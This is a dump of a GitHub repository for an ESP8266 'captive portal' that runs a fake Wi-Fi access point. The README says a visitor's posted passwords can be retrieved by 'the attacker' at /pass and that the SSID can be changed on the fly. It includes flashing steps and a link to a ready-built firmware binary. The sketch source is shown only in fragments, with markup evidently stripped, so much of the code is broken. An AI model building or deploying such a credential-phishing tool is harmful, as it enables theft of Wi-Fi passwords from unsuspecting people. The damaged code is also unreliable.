├── _config.yml ├── favicon.png ├── src ├── 2_Post.png ├── 3_Pass.png ├── 4_ssid.png ├── 1_Index_2.png ├── Thumbnail.png ├── 1_port_selection.png └── 2_file_selection.png ├── NodeMCU-Captive-Portal ├── build │ └── esp8266.esp8266.generic │ │ ├── NodeMCU-Captive-Portal.ino.bin │ │ └── NodeMCU-Captive-Portal.ino.elf └── NodeMCU-Captive-Portal.ino ├── LICENSE └── README.md /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker 2 | -------------------------------------------------------------------------------- /favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/favicon.png -------------------------------------------------------------------------------- /src/2_Post.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/2_Post.png -------------------------------------------------------------------------------- /src/3_Pass.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/3_Pass.png -------------------------------------------------------------------------------- /src/4_ssid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/4_ssid.png -------------------------------------------------------------------------------- /src/1_Index_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/1_Index_2.png -------------------------------------------------------------------------------- /src/Thumbnail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/Thumbnail.png -------------------------------------------------------------------------------- /src/1_port_selection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/1_port_selection.png -------------------------------------------------------------------------------- /src/2_file_selection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/2_file_selection.png -------------------------------------------------------------------------------- /NodeMCU-Captive-Portal/build/esp8266.esp8266.generic/NodeMCU-Captive-Portal.ino.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/NodeMCU-Captive-Portal/build/esp8266.esp8266.generic/NodeMCU-Captive-Portal.ino.bin -------------------------------------------------------------------------------- /NodeMCU-Captive-Portal/build/esp8266.esp8266.generic/NodeMCU-Captive-Portal.ino.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/NodeMCU-Captive-Portal/build/esp8266.esp8266.generic/NodeMCU-Captive-Portal.ino.elf -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 OCEAN OF ANYTHING 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 |
3 |
4 |
5 |
41 |
42 | ## ``192.168.4.1/post``
43 | This is the post page. The user will be redirected here after posting the password.
44 |
45 |
46 |
47 | ## ``192.168.4.1/pass``
48 | This is where the attacker can retrieve all the passwords that has been posted.
49 |
50 |
51 |
52 | ## ``192.168.4.1/ssid``
53 | Here the attacker can change the SSID name of the Access Point on the go.
54 |
55 |
56 |
57 |
58 |
59 | # Installation (ESP8266 Flasher - Easy way)
60 |
61 | 1. Download ESP8266 Flasher.
62 |
63 | 2. Download the [NodeMCU-Captive-Portal.ino.bin](https://github.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/raw/main/NodeMCU-Captive-Portal/build/esp8266.esp8266.generic/NodeMCU-Captive-Portal.ino.bin) file.
64 |
65 | 3. Open the ESP8266 Flasher and select the Node MCU port
66 |
67 |
68 |
69 | 4. Then, go to the config tab and select the .bin file you've just downloaded.
70 |
71 |
72 |
73 | 5. Finally, go back to the first tab and press "Flash"
74 |
75 | 6. Your Node MCU is ready!
76 |
77 |
78 | # Installation (Arduino IDE)
79 |
80 | 1. Open your Arduino IDE and go to "File -> Preferences -> Boards Manager URLs" and paste the following link:
81 | ``http://arduino.esp8266.com/stable/package_esp8266com_index.json``
82 |
83 | 2. Go to "Tools -> Board -> Boards Manager", search "esp8266" and install esp8266
84 |
85 | 3. Go to "Tools -> Board" and select your board
86 |
87 | 4. Download and open the sketch "NodeMCU-Captive-Portal.ino"
88 |
89 | 5. You can optionally change some parameters like the SSID name and texts of the page like title, subtitle, text body etc.
90 |
91 | 6. Upload the code into your board.
92 |
93 | 7. You are done!
94 |
95 |
--------------------------------------------------------------------------------
/NodeMCU-Captive-Portal/NodeMCU-Captive-Portal.ino:
--------------------------------------------------------------------------------
1 | // Author: Nakshatra Ranjan Saha (OCEAN OF ANYTHING)
2 | // GitHub: https://github.com/OCEANOFANYTHINGOFFICIAL
3 |
4 | // Libraries
5 | #include Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.
" + "" + footer(); 98 | } 99 | 100 | String postedSSID() { 101 | String postedSSID = input("s"); newSSID="The password list has been reseted.